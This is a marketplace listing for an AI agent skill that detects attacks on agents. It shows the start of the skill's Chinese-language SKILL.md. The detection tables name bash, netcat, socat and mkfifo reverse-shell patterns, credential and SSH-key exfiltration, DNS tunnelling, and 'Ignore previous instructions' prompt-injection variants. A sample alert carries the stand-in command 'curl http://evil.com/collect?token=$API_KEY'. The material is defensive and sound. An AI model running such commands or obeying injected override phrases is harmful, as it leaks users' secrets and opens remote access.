openclaw-threat-detect
OpenClaw 攻击模式检测工具,识别数据外传、反弹Shell、文件泄露、Prompt注入、供应链投毒等高危行为,支持 MITRE ATT&CK 映射
Skill by jd-opensource
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/jd-opensource-openclaw-threat-detect
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: security, agent-building
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/openclaw-threat-detect
What's inside
- Skill name
openclaw-threat-detect- Description
- OpenClaw 攻击模式检测工具,识别数据外传、反弹Shell、文件泄露、Prompt注入、供应链投毒等高危行为,支持 MITRE ATT&CK 映射
- License
- Apache-2.0
- Metadata
- risk: safe · category: security
- Instructions
- 157 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
- Instructions read files in your home folder (~/.ssh, ~/.aws…)
Agent Skills spec issues
- body: contains an absolute path from the author's machine
Files (3)
- SKILL.md
- tools.md · references/
- workflows.md · references/
SKILL.md (first lines)
# OpenClaw 攻击模式检测器
基于《OpenClaw 极简安全实践指南》红线规则和 MITRE ATT&CK 框架,对命令、文件、网络流量进行实时和离线威胁检测。覆盖 AI Agent 场景下特有的攻击面——不仅检测传统 shell 攻击,还识别通过 Prompt 注入触发的间接恶意行为。
## Purpose
OpenClaw Agent 具有命令执行、文件读写、网络请求等能力。当 Agent 被恶意 Prompt 注入或加载了被投毒的 Skill 时,可能执行数据外传、反弹 Shell、凭证窃取等高危操作。本技能提供多层检测能力,覆盖从命令级到行为链级的威胁识别。
## Prerequisites
### Authorization Requirements
- OpenClaw 实例的日志访问权限
- 命令历史和文件系统读取权限
- 网络流量监控权限(如需实时检测)
### Environment Setup
- 目标 OpenClaw 实例运行中或有历史日志可供分析
- 检测规则库已加载(内置于脚本中)
## Core Workflow
1. **命令级检测**: 对单条命令进行实时模式匹配,识别已知恶意命令模式。
2. **文件级扫描**: 扫描 Skill 文件、脚本文件,检测嵌入的恶意代码和混淆载荷。
3. **行为链分析**: 关联多条命令的上下文,识别多步攻击链(如先侦察再外传)。
4. **网络流量检测**: 分析出站连接目标,检测数据外传和 C2 通信模式。
5. **Prompt 注入检测**: 识别通过 Prompt 注入间接触发的恶意操作指令。
6. **告警与响应**: 按严重程度分级告警,提供阻断建议和取证信息。
## 检测的攻击模式
### 1. 数据外传 (Data Exfiltration)
| 模式 | 检测规则 | 严重程度 | MITRE ATT&CK |
|------|---------|---------|--------------|
| curl/wget 携带凭证 | `curl.*[?&](token\|key\|password\|secret)=` | CRITICAL | T1041 |
| POST 外传敏感数据 | `curl -X POST.*(-d\|--data).*` + 敏感关键词 | CRITICAL | T1041 |
| DNS 隧道外传 | `dig\|nslookup\|host` + base64 编码子域 | HIGH | T1048.003 |
| 环境变量泄露 | `env\|printenv\|echo \$.*KEY` + 网络命令 | CRITICAL | T1552.001 |
| 编码后外传 | `base64\|xxd\|od` 管道到网络命令 | HIGH | T1132.001 |
| 剪贴板窃取 | `xclip\|xsel\|pbpaste` + 网络命令 | HIGH | T1115 |
### 2. 反弹 Shell (Reverse Shell)
| 模式 | 检测规则 | 严重程度 | MITRE ATT&CK |
|------|---------|---------|--------------|
| Bash 反弹 | `bash -i >& /dev/tcp/` | CRITICAL | T1059.004 |
| Python 反弹 | `python.*socket.*connect.*exec` | CRITICAL | T1059.006 |
| Netcat 反弹 | `nc\|ncat.*-e\|exec` | CRITICAL | T1059 |
| Perl 反弹 | `perl.*socket.*INET.*exec` | CRITICAL | T1059 |
| PHP 反弹 | `php.*fsockopen.*exec` | CRITICAL | T1059 |
| Socat 反弹 | `socat.*TCP:.*EXEC:` | CRITICAL | T1059 |
| Node.js 反弹 | `node.*child_process.*net.Socket` | CRITICAL | T1059.007 |
| Mkfifo 管道 | `mkfifo.*/tmp/.*nc` | CRITICAL | T1059 |
### 3. 文件泄露 (File Exfiltration)
| 模式 | 检测规则 | 严重程度 | MITRE ATT&CK |
|------|---------|---------|--------------|
| SSH 密钥外传 | `scp\|rsync.*~/.ssh/` | CRITICAL | T1552.004 |
| OpenClaw 配置外传 | 任何工具读取 `~/.openclaw/` 后接网络命令 | CRITICAL | T1005 |
| 文件打包上传 | `tar\|zip.*` + `curl\|wget` 上传 | HIGH | T1560.001 |
| 历史记录外传 | 读取 `.bash_history`, `.zsh_history` | HIGH | T1552.003 |
| 数据库文件访问 | 读取 `*.sqlite`, `*.db`, `*.sql` | MEDIUM | T1005 |
| 凭证文件读取 | 读取 `.env`, `.npmrc`, `.pypirc`, `.netrc` | HIGH | T1552.001 |
### 4. 凭证窃取 (Credential Theft)
| 模式 | 检测规则 | 严重程度 | MITRE ATT&CK |
|------|---------|---------|--------------|
| 索要私钥 | Prompt 中请求 private key, seed phrase, mnemonic | CRITICAL | T1552 |
| 键盘记录 | `strace.*read\|script\|tee` 用于捕获输入 | HIGH | T1056 |
| 内存转储 | `gcore\|/proc/*/mem\|/proc/*/maps` | HIGH | T1003 |
| Token 文件读取 | 读取 `*token*`, `*credential*`, `*secret*` 文件 | HIGH | T1552.001 |
### 5. 持久化 (Persistence)
| 模式 | 检测规则 | 严重程度 | MITRE ATT&CK |
|------|---------|---------|--------------|
| Crontab 修改 | `crontab -e\|echo.*crontab\|/etc/cron` | HIGH | T1053.003 |
| SSH authorized_keys | 写入 `~/.ssh/authorized_keys` | CRITICAL | T1098.004 |
| Skill 自修改 | Skill 运行时修改自身或其他 Skill 文件 | HIGH | T1546 |
| 系统服务注册 | `systemctl\|service.*enable\|update-rc.d` | HIGH | T1543 |
### 6. Prompt 注入触发的恶意行为
| 模式 | 检测规则 | 严重程度 |
|------|---------|---------|
| 间接指令注入 | 文档/网页中嵌入的执行指令被 Agent 执行 | CRITICAL |
| 角色劫持 | "Ignore previous instructions" 变体 | HIGH |
| 工具链滥用 | Agent 在无用户确认下连续调用敏感工具 | HIGH |
| 隐蔽数据收集 | Agent 读取敏感文件但不向用户展示 | MEDIUM |
## MITRE ATT&CK 覆盖矩阵
| Tactic | Techniques | 覆盖状态 |
|--------|-----------|---------|
| Initial Access | T1566 (Phishing via Prompt Injection) | ✅ |
| Execution | T1059 (Command/Script Interpreter) | ✅ |
| Persistence | T1053, T1098, T1543, T1546 | ✅ |
| Credential Access | T1003, T1056, T1552 | ✅ |
| Collection | T1005, T1115 | ✅ |
| Exfiltration | T1041, T1048, T1560 | ✅ |
| Command & Control | T1071, T1132 | ✅ |
## 输出格式
每条告警包含以下字段:
```json
{
"id": "THREAT-2026-0001",
"timestamp": "2026-03-13T10:30:00Z",
"severity": "CRITICAL",
"category": "data_exfiltration",
"pattern_matched": "curl with embedded token",
"command": "curl http://evil.com/collect?token=$API_KEY",
"mitre_attack": "T1041",
"context": {
"user": "node",From jd-opensource/JoySafeter, Apache-2.0.
More from jd-opensource/JoySafeter
- 0.697score
pentest-supply-chain
jd-opensource
Software supply chain security — dependency confusion, CI/CD pipeline attacks, lockfile integrity, and build artifact verification.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-whitebox-code-review
jd-opensource
Source code security audit using backward taint analysis, slot type classification, render context verification, and 3-phase parallel review producing an…
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-recon-attack-surface
jd-opensource
White-box attack surface mapping — correlate external scans, browser exploration, and source code into structured endpoint inventory, role architecture, and…
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-secrets-exposure
jd-opensource
Discover hardcoded credentials, leaked API keys, exposed configuration files, sensitive data in artifacts, and information disclosure via error handling.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-api-deep
jd-opensource
Deep OWASP API Security Top 10 testing for REST, GraphQL, gRPC, and WebSocket APIs — BFLA, mass assignment, rate limiting, and unsafe consumption.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-business-logic
jd-opensource
Business logic vulnerability testing — workflow bypass, payment manipulation, state machine abuse, and function limit circumvention per WSTG-BUSL.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-client-advanced
jd-opensource
Advanced client-side attacks — CORS misconfiguration, WebSocket security, clickjacking, postMessage abuse, CSS injection, and browser storage vulnerabilities.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-config-hardening
jd-opensource
Security header auditing, TLS configuration testing, HTTP method analysis, CSP bypass assessment, and deployment hardening verification.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-ai-llm-security
jd-opensource
AI/LLM application security testing — prompt injection, jailbreaking, data exfiltration, and insecure output handling per OWASP LLM Top 10.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-mobile-app
jd-opensource
OWASP Mobile Top 10 security testing for Android and iOS — local storage, certificate pinning bypass, IPC abuse, and binary protections.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-exploit-validation
jd-opensource
Proof-driven exploitation with 4-level evidence system, bypass exhaustion protocol, mandatory evidence checklists, and strict…
SkillCFreshness: C★ 315Claude Code +9 - 0.696score
planning-with-files
jd-opensource
Implements Manus-style file-based planning for complex tasks.
SkillCFreshness: C★ 315Claude Code +9
Signals
- Stars
- 315
- Forks
- 56
- Open issues
- 17
- Last commit (this folder)
- Mar 13, 2026 (7 months ago)
- Last release
- Jul 2, 2026 (3 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/jd-opensource/JoySafeter
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from jd-opensource
- 0.697score
pentest-config-hardening
jd-opensource
Security header auditing, TLS configuration testing, HTTP method analysis, CSP bypass assessment, and deployment hardening verification.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-client-advanced
jd-opensource
Advanced client-side attacks — CORS misconfiguration, WebSocket security, clickjacking, postMessage abuse, CSS injection, and browser storage vulnerabilities.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-ai-llm-security
jd-opensource
AI/LLM application security testing — prompt injection, jailbreaking, data exfiltration, and insecure output handling per OWASP LLM Top 10.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-api-deep
jd-opensource
Deep OWASP API Security Top 10 testing for REST, GraphQL, gRPC, and WebSocket APIs — BFLA, mass assignment, rate limiting, and unsafe consumption.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-business-logic
jd-opensource
Business logic vulnerability testing — workflow bypass, payment manipulation, state machine abuse, and function limit circumvention per WSTG-BUSL.
SkillCFreshness: C★ 315Claude Code +9 - 0.697score
pentest-exploit-validation
jd-opensource
Proof-driven exploitation with 4-level evidence system, bypass exhaustion protocol, mandatory evidence checklists, and strict…
SkillCFreshness: C★ 315Claude Code +9
Cite this page
openclaw-threat-detect skill. Agent Mart. https://agentmart.dev/skills/jd-opensource-openclaw-threat-detect (last updated 2026-10-24)